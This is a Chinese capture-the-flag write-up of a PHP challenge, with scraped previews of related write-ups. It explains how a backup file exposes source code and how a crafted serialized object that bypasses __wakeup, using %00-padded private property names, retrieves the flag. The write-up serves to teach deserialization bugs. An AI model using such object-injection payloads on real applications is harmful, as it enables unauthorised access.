[极客大挑战]PHP——目录泄露+反序列化

考点:目录泄露+PHP反序列化

题目一览

拿到题目,前端是个逗猫游戏

源码也没什么东西,先dirsearch跑一遍,这里设置下delay,防止频率过快被报429:

发现备份文件,打开发现源码:

分析

index.php

<?php
    include ‘class.php‘;
    $select = $_GET[‘select‘];
    $res=unserialize(@$select);
    ?>

class.php:

?php
include ‘flag.php‘;

error_reporting(0);

class Name{
    private $username = ‘nonono‘;
    private $password = ‘yesyes‘;

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = ‘guest‘;
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === ‘admin‘) {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can‘t give you the flag!";
            die();

        }
    }
}
?>

flag.php里面是个假flag。

从index.php不难看出是个反序列化题目,我们直接分析class.php:

类名:name

成员变量:private的$username $password

__construct:类的构造函数

__wakeup:一个类反序列化时,调用该函数。会把username变成guest

__destruct:析构函数。类销毁的时候执行,只有username为admin,password为100时候,输出flag

绕过__wakeup方法很简单:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行

<?php
class Name{
    private $username = ‘admin‘;
    private $password = 100;

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}

$a = new Name();
echo serialize($a);
?>

得到:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

在改对象个数之前,可以发现一个问题:Nameusername是12个字符,为什么显示14个?

见下例:

<?php
class test{
    private $test1="hello";
    public $test2="hello";
    protected $test3="hello";
}
$test = new test();
echo serialize($test);
?>

输出为:

O:4:"test":3:{s:11:"testtest1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"*test3";s:5:"hello";}

如果我们抓包的话,可以看到如下结果:

{s:11:"%00test%00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"%00*%00test3";s:5:"hello";}

private的成员变量被反序列化后变成 %00test%00test1

public的成员变量不变,仍为test2

protected的成员变量变成 %00*%00test3

这就是为什么我们的payload变成了14,因为多的2个字符为%00,为不可打印字符,所以不显示。

最终payload

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

最后别忘了传一个select参数:

原文地址:https://www.cnblogs.com/keelongz/p/12580444.html

时间: 2024-11-16 13:29:40

[极客大挑战]PHP——目录泄露+反序列化的相关文章

第九届极客大挑战——怎么又是江师傅的秘密(java反序列化)

引言:因为太想加入三叶草了,所以极客大挑战这段时间一直在努力的学习,原来还真没想到能在比赛中拿到排行榜第一的成绩,不过现在看来努力始终都是有回报的.但我依然还是比较菜啊-.-,最近却有很多伙伴加我好友,一来就叫我大佬,让我深感有愧-.-,既然都想看我wp,那我就挑几道题写写好了,口拙词劣还望见谅. 这道题其实是考jsp和java的,我没学过jsp,java倒是有一点了解,但是刚拿到题的时候还是看不懂java代码里的内容,所以去简单学习了下jsp(jsp教程),按照教程里的步骤搭建了eclipse

极客大挑战2019PHP题目详解

题目来源 题目来源为buuoj.cn. 题目为buuoj.cn的web题目组的[极客大挑战2019]PHP. 解题过程 网站的首页是一只可爱的猫猫,挪动鼠标猫猫会跟着转头,很好玩! 网页中提到了备份网站,因此可以尝试使用一个网站备份文件名的字典来进行爆破,发现网站中有www.zip文件. 下载下来发现文件中有index.php,flag.php和class.php,直接提交flag.php中的字符串错了,果然只是个备份! 分析index.php发现: 这里很可能考察反序列化,查看文件中包含的cl

2016第七季极客大挑战Writeup

第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{We1c0m3_To_G33k_2O!6} 并且可以知道后边的题的Flag格式为 SYC{} 2.xiao彩蛋 题目提示关注微博,从Syclover Team 博客(http://blog.sycsec.com)可获取到三叶草小组微博,私信发送flag后即可得到. 3.闪的好快 一开始拖进PS分帧数

[极客大挑战 2019]Havefun (一起来撸猫) CTF复现

前言 这是一道非常简单基础的CTF题,好久都没有遇到这种简单的题了,让我看到了生活的希望,对未来充满了向往 题目链接:https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]Havefun (https://buuoj.cn里面web类的[极客大挑战 2019]Havefun) 复现 初次试水 打开题目链接我们可以看到只是一个静态页面,就连可以点的东西都没有 明察秋毫 页面出了一只可爱的胖

第九届极客大挑战——Geek Chatroom(sql盲注)

引言:因为太想加入三叶草了,所以极客大挑战这段时间一直在努力的学习,原来还真没想到能在比赛中拿到排行榜第一的成绩,不过现在看来努力始终都是有回报的.但我依然还是比较菜啊-.-,最近却有很多伙伴加我好友,一来就叫我大佬,让我深感有愧-.-,既然都想看我wp,那我就挑几道题写写好了,口拙词劣还望见谅. 首先观察这个web应用的功能,可以任意留言,也可以搜索留言,当然我还用cansina扫描过网站,查看过源码,抓包查看过header等.没发现其他提示的情况下断定这就是个sql注入,可能存在的注入点呢,

第九届极客大挑战——小帅的广告(二阶sql注入)

引言:因为太想加入三叶草了,所以极客大挑战这段时间一直在努力的学习,原来还真没想到能在比赛中拿到排行榜第一的成绩,不过现在看来努力始终都是有回报的.但我依然还是比较菜啊-.-,最近却有很多伙伴加我好友,一来就叫我大佬,让我深感有愧-.-,既然都想看我wp,那我就挑几道题写写好了,口拙词劣还望见谅. 也是经过一通扫描和测试,没发现其他有用信息,感觉这是个sql注入.其实对于二阶sql注入我以前没实践过,也没看过资料,只是知道这个名字,但不知道为何看到这道题就让我回想起了这个名词,所以查了一下二阶s

[极客大挑战 2019]EasySQL CTF复现

前言 之前复现了一下极客大挑战2019的Havefun感觉非常的简单,应该是我没有参加极客大挑战把,对这些题没啥印象.复现完Havefun之后接着做了做EasySQL发现这也是一道非常基础的题 复现 初次相遇 我们打开题目链接发现是一个充满黑客色彩的登录页面 发现没有注册的功能,题目是EasySQL,我们猜测出题人的意思就是想让我们注入进去吧 逐步尝试 我们试着加在用户名或密码处加一个单引号,点击登录后我们发现报错了 在报错信息中我们可以看到是字符类的注入,我们可以通过"万能密码"来直

CTF [极客大挑战 2019]Secret File 复现

[极客大挑战 2019]Secret File 复现 知识点 前端中背景可以覆盖内容,页面源代码可以查看完整的html 在php文件中可以写入html代码,html可在前端展示出来,php代码主要是处理数据,通常不会展示. 文件包含漏洞,PHP伪协议获取文件 php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用. 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile(). file() 和 file_get_contents(), 在数据流内容

[极客大挑战 2019]PHP CTF题解与分析

知识点 php序列化与反序列化 序列化:函数为serialize(),把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等 反序列化:函数为unserialize(),将字符串转换成变量或对象的过程 常用的魔术方法: __construct():创建对象时初始化,当一个对象创建时被调用 __wakeup() 使用unserialize时触发 __sleep() 使用serialize时触发 __destruction():结束时销毁对象,当一个对象销毁时被调用 private